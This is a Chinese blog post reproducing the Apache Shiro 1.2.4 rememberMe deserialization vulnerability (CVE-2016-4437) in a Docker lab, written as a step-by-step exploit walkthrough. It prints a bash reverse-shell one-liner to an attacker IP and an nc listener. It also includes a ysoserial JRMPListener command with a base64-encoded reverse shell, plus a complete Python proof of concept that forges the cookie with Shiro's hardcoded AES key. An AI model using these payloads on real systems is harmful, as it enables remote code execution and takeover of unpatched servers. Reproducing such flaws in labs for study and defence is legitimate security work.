• Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现


    影响版本:

    Apache Shiro <= 1.2.4

    原因分析:

    Apache Shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值 >  Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

    漏洞特征:

    shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

    环境搭建:

    安装docker环境,方法自行百度。

    下载镜像

    docker pull medicean/vulapps:s_shiro_1
    

    直接运行镜像,将docker的8080端口映射到本地的 8080上

    docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1
    

     获取复现需要用到的ysoserial工具

     若无mvn则自行下载安装

    git clone https://github.com/frohoff/ysoserial.git
    cd ysoserial
    mvn package -D skipTests
    

    生成的工具在target/目录下ysoserial-0.0.6-SNAPSHOT-all.jar文件

     

    浏览器访问,出现以下页面则证明环境搭建成功。

    http://目标IP:8080

    漏洞利用,在攻击机上运行nc 监听1234端口

    nc -l -p 1234
    

    反弹shell指令

    bash -i >& /dev/tcp/攻击者IP/1234 0>&1
    

    将指令放到 http://www.jackson-t.ca/runtime-exec-payloads.html 转换成加密后的指令

    运行指令(通过 ysoserial中的JRMP监听模块,监听 6666 端口并执行反弹shell命令)

    java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYxLjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
    

     注:

    payloads/JRMPClient 是结合 exploit/JRMPListener 使用的;
    JRMPListener是ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server ,具体的利用过程是,将反序列化数据 发送到 Server 中,然后Server中进行反序列化操作,并开启指定端口,然后在通过JRMPClient去发送攻击 payload;
    payloads/JRMPClient 生存的 payload 是发送给目标机器的,exploit/JRMPListener 是在自己服务器上使用的。

    伪造cookie内容

    python shiro.py 攻击者IP:攻击者监听的java端口

    POC

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])    
    print "rememberMe={0}".format(payload.decode())
    

    前台登录,注意需要勾选Remember Me ,截获数据包

     使用生成的payload,替换请求中的cookie信息

    查看java监听接口,nc监听接口并成功执行相关命令。

  • 相关阅读:
    程序员找工作必备 PHP 基础面试题 (四)
    Laravel 教程:使用Fast Excel解决导出超大 XLSX 文件(千万级)带来的内存问题
    ThinkPHP无限分类的使用
    PHP 的 interface 有什么用处?
    编写可读代码:通过提前返回来减少缩进
    调试事件的派发
    调试对象的构建
    [反汇编分析] 局部变量复用
    [IDA]批量载入结构体
    [反汇编分析]调用函数传入参数不一致时可能寄存器传入参数
  • 原文地址:https://www.cnblogs.com/panisme/p/12552838.html
Copyright © 2020-2023  润新知